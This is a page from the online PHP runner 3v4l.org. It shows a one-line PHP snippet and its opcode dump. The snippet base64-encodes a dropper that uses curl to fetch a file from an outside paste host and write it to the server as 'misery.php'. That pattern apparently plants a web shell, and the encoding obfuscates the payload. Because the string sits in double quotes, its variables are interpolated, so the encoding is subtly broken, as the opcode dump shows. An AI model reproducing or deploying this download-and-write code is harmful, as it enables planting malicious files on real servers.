3v4l.org

run code in 300+ PHP versions simultaneously
<?php base64_encode("$url='http://paste.neurohack.com/raw/YM77y/';$path='./misery.php';$ch=curl_init($url);curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);$data=curl_exec($ch);curl_close($ch);file_put_contents($path, $data);");
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/X3aRY
function name:  (null)
number of ops:  24
compiled vars:  !0 = $url, !1 = $path, !2 = $ch, !3 = $data
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   INIT_FCALL                                               'base64_encode'
          1        ROPE_INIT                                    20  ~5      !0
          2        ROPE_ADD                                      1  ~5      ~5, '%3D%27http%3A%2F%2Fpaste.neurohack.com%2Fraw%2FYM77y%2F%27%3B'
          3        ROPE_ADD                                      2  ~5      ~5, !1
          4        ROPE_ADD                                      3  ~5      ~5, '%3D%27.%2Fmisery.php%27%3B'
          5        ROPE_ADD                                      4  ~5      ~5, !2
          6        ROPE_ADD                                      5  ~5      ~5, '%3Dcurl_init%28'
          7        ROPE_ADD                                      6  ~5      ~5, !0
          8        ROPE_ADD                                      7  ~5      ~5, '%29%3Bcurl_setopt%28'
          9        ROPE_ADD                                      8  ~5      ~5, !2
         10        ROPE_ADD                                      9  ~5      ~5, '%2CCURLOPT_RETURNTRANSFER%2Ctrue%29%3B'
         11        ROPE_ADD                                     10  ~5      ~5, !3
         12        ROPE_ADD                                     11  ~5      ~5, '%3Dcurl_exec%28'
         13        ROPE_ADD                                     12  ~5      ~5, !2
         14        ROPE_ADD                                     13  ~5      ~5, '%29%3Bcurl_close%28'
         15        ROPE_ADD                                     14  ~5      ~5, !2
         16        ROPE_ADD                                     15  ~5      ~5, '%29%3Bfile_put_contents%28'
         17        ROPE_ADD                                     16  ~5      ~5, !1
         18        ROPE_ADD                                     17  ~5      ~5, '%2C+'
         19        ROPE_ADD                                     18  ~5      ~5, !3
         20        ROPE_END                                     19  ~4      ~5, '%29%3B'
         21        SEND_VAL                                                 ~4
         22        DO_ICALL                                                 
         23      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
161.41 ms | 1395 KiB | 15 Q